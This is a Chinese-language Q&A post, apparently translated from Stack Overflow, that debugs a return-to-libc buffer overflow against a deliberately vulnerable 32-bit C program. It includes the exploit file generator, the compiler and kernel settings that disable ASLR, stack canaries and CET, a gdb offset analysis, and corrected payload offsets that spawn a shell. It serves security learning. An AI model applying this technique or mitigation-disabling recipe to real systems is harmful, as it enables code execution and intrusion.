返回 libc 缓冲区溢出攻击

问题描述

我试图返回到 libc 缓冲区溢出。我找到了 system、exit 和 /bin/sh 的所有地址，我不知道为什么，但是当我尝试运行易受攻击的程序时，没有任何反应。 system,exit address /bin/sh address

易受攻击的程序：

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#ifndef BUF_SIZE
#define BUF_SIZE 12
#endif

int bof(FILE* badfile)
{
    char buffer[BUF_SIZE];

    fread(buffer,sizeof(char),300,badfile);

    return 1;
}


int main(int argc,char** argv)
{
    FILE* badfile;

    char dummy[BUF_SIZE * 5];

    badfile = fopen("badfile","r");
    bof(badfile);

    printf("Return properly.\n");

    fclose(badfile);

    return 1;
}

利用程序：

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main(int argc,char** argv)
{
    char buf[40];
    FILE* badfile;

    badfile = fopen("./badfile","w");

    *(long *) &buf[24] = 0xbffffe1e; // /bin/sh
    *(long *) &buf[20] = 0xb7e369d0; // exit
    *(long *) &buf[16] = 0xb7e42da0; // system

    fwrite(buf,sizeof(buf),1,badfile);
    fclose(badfile);

    return 1;
}

这是我用来查找 MYSHELL 地址的程序（用于 /bin/sh）

#include <stdio.h>

void main()
{
    char* shell = getenv("MYSHELL");
    if(shell)
        printf("%x\n",(unsigned int) shell);
}

终端： Terminal image after run retlib

解决方法

首先，可以部署许多缓解措施来防止这种攻击。您需要禁用每一个：

ASLR：您已使用 sudo sysctl -w kernel.randomize_va_space=0 禁用。但更好的选择是仅对一个 shell 及其子级禁用它：setarch $(uname -m) -R /bin/bash。
堆栈保护器：编译器可以在缓冲区和堆栈上的返回地址之间放置堆栈金丝雀，在缓冲区写操作执行之前向其中写入一个值，然后在返回之前，验证它没有被缓冲区写操作改变。这可以通过 -fno-stack-protector 禁用。
影子堆栈：较新的处理器可能具有影子堆栈功能（英特尔 CET），在调用函数时，将返回地址的副本从可写内存中隐藏起来，并根据返回值进行检查从当前函数返回时的地址。这（以及其他一些 CET 保护）可以通过 -fcf-protection=none 禁用。

问题没有提到它，但代码中使用的地址（连同 long 的使用）表明目标是 32 位系统。如果使用的系统是 64 位，则需要将 -m32 添加到编译器标志中：

gcc -fno-stack-protector -fcf-protection=none -m32 vulnerable.c

当从一个二进制文件中确定环境变量地址并在另一个二进制文件中使用它时，它们的环境变量和来自 shell 的调用是相同的（至少在长度上）非常重要。如果一个作为 a.out 执行，另一个也应该作为 a.out 执行。一个在不同的路径中，具有不同的 argv 将移动环境变量。

或者，您可以从易受攻击的二进制文件中打印环境变量的地址。

通过查看bof函数的反汇编，可以确定缓冲区与返回地址的距离：

(gdb) disassemble bof 
Dump of assembler code for function bof:
   0x565561dd <+0>:     push   %ebp
   0x565561de <+1>:     mov    %esp,%ebp
   0x565561e0 <+3>:     push   %ebx
   0x565561e1 <+4>:     sub    $0x14,%esp
   0x565561e4 <+7>:     call   0x56556286 <__x86.get_pc_thunk.ax>
   0x565561e9 <+12>:    add    $0x2de3,%eax
   0x565561ee <+17>:    pushl  0x8(%ebp)
   0x565561f1 <+20>:    push   $0x12c
   0x565561f6 <+25>:    push   $0x1
   0x565561f8 <+27>:    lea    -0x14(%ebp),%edx
   0x565561fb <+30>:    push   %edx
   0x565561fc <+31>:    mov    %eax,%ebx
   0x565561fe <+33>:    call   0x56556050 <fread@plt>
   0x56556203 <+38>:    add    $0x10,%esp
   0x56556206 <+41>:    mov    $0x1,%eax
   0x5655620b <+46>:    mov    -0x4(%ebp),%ebx
   0x5655620e <+49>:    leave  
   0x5655620f <+50>:    ret    
End of assembler dump.

请注意，-0x14(%ebp) 用作 fread 的第一个参数，即会溢出的 buffer。另请注意，ebp 是在第一条指令中推入 esp 之后的 ebp 值。所以，ebp 指向保存的 ebp，后面跟着返回地址。这意味着从缓冲区的开始，保存的 ebp 相距 20 字节，返回地址相距 24 字节。

    *(long *) &buf[32] = ...; // /bin/sh
    *(long *) &buf[28] = ...; // exit
    *(long *) &buf[24] = ...; // system

通过这些更改，shell 由易受攻击的二进制文件执行：

$ ps
    PID TTY          TIME CMD
1664961 pts/1    00:00:00 bash
1706389 pts/1    00:00:00 bash
1709328 pts/1    00:00:00 ps
$ ./a.out 
$ ps
    PID TTY          TIME CMD
1664961 pts/1    00:00:00 bash
1706389 pts/1    00:00:00 bash
1709329 pts/1    00:00:00 a.out
1709330 pts/1    00:00:00 sh
1709331 pts/1    00:00:00 sh
1709332 pts/1    00:00:00 ps
$

buffer-overflow c